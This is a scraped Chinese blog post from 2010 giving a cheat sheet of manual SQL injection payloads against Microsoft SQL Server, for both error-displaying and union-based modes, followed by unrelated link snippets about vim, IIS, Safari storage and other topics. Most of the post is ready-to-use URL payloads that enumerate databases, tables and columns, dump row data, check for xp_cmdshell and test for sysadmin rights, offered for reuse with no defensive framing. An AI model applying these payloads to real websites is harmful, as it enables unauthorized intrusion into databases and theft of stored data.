Mssql显错和不显错模式下的注入
Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51
近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用!
-----------------------------------------------------------------------------------------------------------------------------------
Mssql注释符:
#
--
显错模式的:
判断是否支持多行
;declare @x int--
查看当前数据库版本
URL?id=13 and @@version>0--
查看当前连接数据库用户
URL?id=13 and user>0--
查看当前数据库名
URL?id=13 and db_name()>0--
爆数据库名
URL?id=13 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))--
//dbid<7的为系统库名
爆当前数据库表名
URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype='U'))--
URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('表名1','表名2')))--
爆其他数据库表名
URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype='u' ))--
URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype='u' and name not in ('表名1','表名2')))--
爆字段名
URL?id=13 having 1=1--
URL?id=13 group by 表名.字段名1,字段名2 having 1=1--
爆其他表的字段名
URL?id=13 select * from 表名 having 1=1--
URL?id=13 select * from 表名 group by 表名.字段名1,字段名2 having 1=1--
扩展一下
URL?id=13 and 1=convert(int,(select * from 表名 having 1=1))-- 字段名
URL?id=13 and 1=convert(int,(select * from 表名 group by 表名.字段名 having 1=1))-- 字段名
爆数据
URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名))--
URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名 where 字段名 not in ('数据1','数据2'))--
URL?id=13 and 1=convert(int,(select top1 字段名 from 表名 where 字段名!='数据1' and 字段名!='数据2'--
//也可以用where语句
不显错模式
URL?id=13 order by 字段数
URL?id=13 and 1=2 union select ?,?,?,?,?--
查询数据库版本和系统版本
URL?id=13 and 1=2 union select ?,?,?,@@version--
查询数据库用户名
URL?id=13 and 1=2 union select ?,?,?,(select user)--
URL?id=13 and 1=2 union select ?,?,?,(select system_user)--
查询主机名
URL?id=13 and 1=2 union select ?,?,?,(select host_name())--
查询数据库名
URL?id=13 and 1=2 union select ?,?,?,(select db_name())--
判断存储扩展xp_cmdshell
URL?id=13 and 1=2 union select ?,?,?,(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')--
//1为存在,0为不存在
判断当前数据库用户权限
URL?id=13 and 1=2 union select ?,?,?,(select is_srvrolemember('sysadmin'))--
查询数据库名
URL?id=13 and 1=2 union select ?,?,?(select name from master.dbo.sysdatabases where dbid=7)--
//dbid<7的为系统数据库名
查询数据库表名
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='U')--
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='U' and name not in ('表名1','表名2'))--
查询字段名
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id('表名')--
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id('表名') and name not in('字段名1','字段名2')--
查询数据
URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名)--
URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名 where 字段名 not in ('数据1','数据2')--
其他的语句
爆表名
URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')) from sysobjects--
//接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了
爆其他数据库表名
URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from [数据库名]..sysobjects where xtype='u' and name not in(select top 0 name from [数据库名]..sysobjects where xtype='u')
爆字段
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from syscolumns where id in (select id from sysobjects where name='表名') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='表名'))) from sysobjects--
//从0开始增加第二个top N的数字就可以遍历admin表的字段名了
查询数据
URL?id=13 URL?id=13 and 1=2 union select top 1 ?,?,字段名 from 表名 where name not in (select top 0 name from 表名)--
Mssql显错和不显错模式下的注入的更多相关文章
- 在debug模式下运行不报错,换到release模式下报找不到某某库或文件的错。。解决办法
我遇到的问题是:把edit secheme调到debug模式运行没有问题,然后调到release模式的时候报目录下没有libTuyoo.a 解决办法 把断开真机设备,用IOS device下relea ...
- Safari无痕模式下,storage被禁用问题
前言 Safari开启无痕模式后,localStorage和sessionStorage为空,对其进行set操作也会报错,也就是说这种情况下,storage是被禁止使用了.接下来说一下解决方法. 解决 ...
- MSSQL注入SA权限不显错模式下的 入 侵
一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用.方法很简单大家看操作. 我这里使用的是 火狐的插件提交参数 ...
- 当IDENTITY_INSERT设置为OFF时不能向表插入显示值。(源:MSSQLServer,错误码:544)
错误提示"事务和快照同步时提示:当IDENTITY_INSERT设置为OFF时不能向表插入显示值.(源:MSSQLServer,错误码:544)" 原因:在SQL2008同步时到S ...
- vim模式下报错E37: No write since last change (add ! to override)
故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...
- 转:vim模式下报错E37: No write since last change (add ! to override)
故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...
- 关于Mui严格模式下的报错解决方案
前言:作为一名程序员遇到Bug总是在所难免的,但是记住"不二过",今天在Vue开发中遇到了一个报错让我纠结了许久,找了许久, 报错的原因是使用了mui导入其js文件导致的. 报错信 ...
- IIS7部署报错 500.22错误 检查到这集成托管模式下不使用的ASP.NET配置
公司的一个项目,环境为: .Net 4.0 + MVC3,部署在Windows Server 2003R2 IIS6.0上面运行正常, 迁移到新服务器Windows Server 2008R2,部署在 ...
- 服务器 vim模式下报错E37: No write since last change (add ! to override)
故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...
随机推荐
- 执行测试遇到log4j 没有找到日志appenders
log4j:WARN No appenders could be found for logger (com.sshtools.j2ssh.transport.publickey.SshKeyPair ...
- 再谈javascript原型继承
Javascript原型继承是一个被说烂掉了的话题,但是自己对于这个问题一直没有彻底理解,今天花了点时间又看了一遍<Javascript模式>中关于原型实现继承的几种方法,下面来一一说明下 ...
- C++标准库之 Lower_Bound, upper_Bound
关于二分查找,这绝对是最简单却又最难的实现了,其各种版本号能够參见http://blog.csdn.net/xuqingict/article/details/17335833 在C++的标准库中,便 ...
- Com编程入门——什么是COM,如何使用COM
本文的目的是为刚刚接触COM的程序员提供编程指南,并帮助他们理解COM的基本概念.内容包括COM规范简介,重要的COM术语以及如何重用现有的COM组件.本文不包括如何编写自己的COM对象和接口. CO ...
- redis-2.6.16源码分析之pub-sub系统
redis实现的发送订阅系统,即pub-sub,这部分的的代码比较少,也方便分析.在这只将会分析下普通的pub-sub(会忽略掉Pattern-matching subscriptions),以此来简 ...
- Android UI WebView的使用:
Android UI WebView的使用: /** * @author smiling * @date 2016/10 */ 布局: <?xml version="1.0" ...
- linux定时任务1-crontab命令
简单测试例子: 添加定时任务前,注意查看crond服务是否已经启动,如果未启动,则用命令service crond start命令启动. 注意给脚本添加可执行权限. [root@rheltest1 ~ ...
- grunt -- javascript自动化工具
grunt 是一个基于npm,node.js 用js编写的工具框架,可以自动完成一些重复性的任务(如合并文件,语法检查,压缩代码), grunt拥有庞大的插件库,可以满足各种自动化批处理需求,常用的插 ...
- OpenXml2.0 - 找不到类型或命名空间名称“DocumentFormat”
在使用 OpenXml SDK2.0的过程中,很是郁闷的是总是报 '找不到类型或命名空间名称“SpreadsheetDocument”(是否缺少 using 指令或程序集引用?)'的错误,命名已经添加 ...
- [c#]asp.net开发微信公众平台(1)数据库设计
开发微信公众平台之前,先去微信官方了解下大概的情况 这里:http://mp.weixin.qq.com/wiki/index.php :看了之后心里大致有数了,开始设计数据库,尽可能的考虑,未考虑到 ...